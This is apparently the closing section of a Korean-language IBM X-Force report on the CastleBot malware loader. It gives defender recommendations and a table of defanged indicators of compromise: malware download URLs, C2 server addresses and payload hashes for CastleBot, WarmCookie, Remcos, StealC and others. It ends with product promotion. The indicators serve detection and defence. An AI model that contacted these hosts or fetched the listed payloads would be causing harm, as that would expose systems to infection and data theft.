CastleBot은 사이버 범죄 위협 환경의 초기 감염 벡터의 변화에 대한 최신 증거입니다. 백도어 및 MaaS 프레임워크는 트로이 목마 소프트웨어의 일부인 가짜 웹 사이트 또는 ClickFix 기술을 통해 점점 더 많이 배포되고 있습니다. CastleBot 활동이 증가한 것을 관찰한 후 몇 달 만에 개발자들은 이미 몇 가지 새로운 기능을 추가했으며 EDR 및 네트워크 보안 솔루션의 적응을 따라잡기 위해 노력할 것입니다. 현재 활동에 따르면 여러 계열사가 CastleBot을 사용하여 인포 스틸러와 백도어를 모두 배포하고 있으며, 이로 인해 영향력이 큰 랜섬웨어 인시던트가 발생할 수 있습니다.

방어자는 이 보고서에 언급된 기술을 경계하고 CastleBot 감염 위험을 완화하기 위한 적절한 조치를 취하는 것이 좋습니다.

권장 사항

  • EDR 소프트웨어 및 관련 보안 제어를 최신 상태로 유지합니다.
  • 소프트웨어를 다운로드할 때 각별한 주의를 기울이고 승인되지 않았거나 검증되지 않은 소프트웨어는 설치하지 않도록 사용자를 교육합니다.
  • 다단계 인증을 구현하고 유출된 기업 자격증명을 모니터링합니다.
  • 경고를 설정하거나 발신 HTTP(비 HTTPS) 연결, 특히 IP 주소가 포함된 URL을 차단하는 것을 고려합니다.

침해 지표

지표

지표 유형

컨텍스트

http://173.44.141[.]89/service/
download/data_4x.bin

URL

CastleBot 코어 다운로드 URL

http://173.44.141[.]89/service/
download/data_3x.bin

URL

CastleBot 로더 다운로드 URL

http://173.44.141[.]89/service/

URL

CastleBot C2 서버

http://mhousecreative
[.]com/service/

URL

CastleBot C2 서버

http://80.77.23[.]48/service/

URL

CastleBot C2 서버

http://62.60.226[.]73/service/

URL

CastleBot C2 서버

http://107.158.128[.]45/service/

URL

CastleBot C2 서버

http://62.60.226[.]73/service/

URL

CastleBot C2 서버

202f6b6631ade2c41e4762e5
877ce0063a3beabce0c3f85
64b6499a1164c1e04

SHA256

CastleBot 코어

a2898897d3ada2990e523b6
1f3efaacf6f67af1a52e0996d3f
9651b41a1c59c9

SHA256

PowerShell 스크립트 다운로드 및 ZIP 아카이브 압축 풀기

d6eea6cf20a744f3394fb0c
1a30431f1ef79d6992b55262
2ad17d86490b7aa7b

SHA256

Crypted CastleBot 스테이저

http://mhousecreative[.]com
/service/download/general_1

URL

NetSupport 다운로드 URL(5월 13일)

2a2cd6377ad69a298af55f2
9359d67e4586ec16e6c02c1
b8ad27c38471145569

SHA256

NetSupport ZIP 페이로드

8b2ebeff16a20cfcf794e8f31
4c37795261619d96d602c8e
e13bc6255e951a43

SHA256

PowerShell 스크립트 다운로드 및 ZIP 아카이브 압축 풀기

cbaf513e7fd4322b14adcc34
b34d793d79076ad31092598
1548e8d3cff886527

SHA256

Crypted CastleBot 스테이저

05ecf871c7382b0c74e5bac
267bb5d12446f52368bb1bfe
5d2a4200d0f43c1d8

SHA256

DaveLoader

http://173.44.141[.]89/service/
download/docusign2.exe

URL

WarmCookie 다운로드 URL(6월 6일)

5bca7f1942e07e8c12ecd9c80
2ecdb96570dfaaa1f44a6753e
bb9ffda0604cb4

SHA256

WarmCookie 페이로드

170.130.165[.]112

IPv4

WarmCookie C2 서버

bf21161c808ae74bf08e8d7f83
334ba926ffa0bab96ccac42dd
e418270387890

SHA256

CastleBot 스테이저용 AutoIt 로더

http://107.158.128[.]105/c9125
2f9ab114f26.php

URL

StealC C2 서버

e6aab1b6a150ee3cbc721ac25
75c57309f307f69cd1b478d49
4c25cde0baaf85

SHA256

CastleBot 코어가 포함된 로더

b45cce4ede6ffb7b6f28f75a0c
bb60e65592840d98dcb63155
b9fa0324a88be2 

SHA256

CastleBot 코어

https://google.herionhelpline
[.]com/app/AcerUSBUpdate.
exe

URL

Rhadamanthys 다운로드 URL(7월 10일)

03122e46a3e48141553e7567
c659642b1938b2d3641432f9
16375c163df819c1 

SHA256

Rhadamanthys 첫 번째 단계 페이로드

https://google.herionhelpline
[.]com/app/light1_v5_signed.
html

URL

Remcos 다운로드 URL(7월 10일)

12de997634859d1f93273e55
2dec855bfae440dcf11159ada19
ca0ae13d53dff 

SHA256

Remcos 페이로드

https://google.herionhelpline[.]com
/app/SlackUpdateWeb.html

 

URL

DeerStealer 다운로드 URL(7월 10일)

c8f95f436c1f618a8ef5c49055
5c6a1380d018f44e1644837f19
cb71f6584a8a 

SHA256

DeerStealer 페이로드

8bf93cef46fda2bdb9d2a426
fbcd35ffedea9ed9bd97bf78c
c51282bd1fb2095

SHA256

Crypted CastleBot 스테이저

http://107.158.128[.]45/service
/download/Exchanger32.zip

URL

HijackLoader 및 SecTopRAT 다운로드 URL(7월 5일)

4834bc71fc5d3729ad5280e4
4a13e9627e3a82fd4db1bb992
fa8ae52602825c6

SHA256

HijackLoader 및 SecTopRAT ZIP 페이로드

53dddae886017fbfbb43ef2369
96b9a4d9fb670833dfa0c3eac
982815dc8d2a5

SHA256

Crypted CastleBot 스테이저

http://107.158.128[.]45/service
/download/CCver_Setup.exe

URL

MonsterV2 다운로드 URL(7월 10일)

ab725f5ab19eec691b66c37c715
abd0e9ab44556708094a911b8
4987d700aa62

SHA256

MonsterV2 페이로드

IBM X-Force Premier 위협 인텔리전스가 OpenCTI by Filigran과 통합되어 이러한 위협 활동 등에 대한 실행 가능 위협 인텔리전스를 제공합니다. 위협 행위자, 멀웨어 및 산업 위험에 대한 인사이트에 액세스하세요. X-Force OpenCTI Connector를 설치하여 탐지 및 대응을 개선하고 IBM X-Force의 전문성을 통해 사이버 보안을 강화하세요. 지금 X-Force Premier Threat Intelligence 30일 평가판을 이용해 보세요!

관련 솔루션
위협 관리 서비스

최신 위협을 예측하고 예방하며 대응해 비즈니스 탄력성을 높이세요.

 

위협 관리 서비스 살펴보기
위협 탐지 및 대응 솔루션

IBM 위협 탐지 및 대응 솔루션을 활용하여 보안을 강화하고 위협 탐지를 가속화하세요.

위협 탐지 솔루션 살펴보기
모바일 위협 방어(MTD) 솔루션

IBM MAAS360의 포괄적인 모바일 위협 방어 솔루션으로 모바일 환경을 보호하세요.

모바일 위협 방어 솔루션 살펴보기
다음 단계 안내

포괄적인 위협 관리 솔루션을 확보하여 사이버 공격으로부터 비즈니스를 효과적으로 보호하세요.

  1. 위협 관리 서비스 살펴보기
  2. 위협 중심 브리핑 예약하기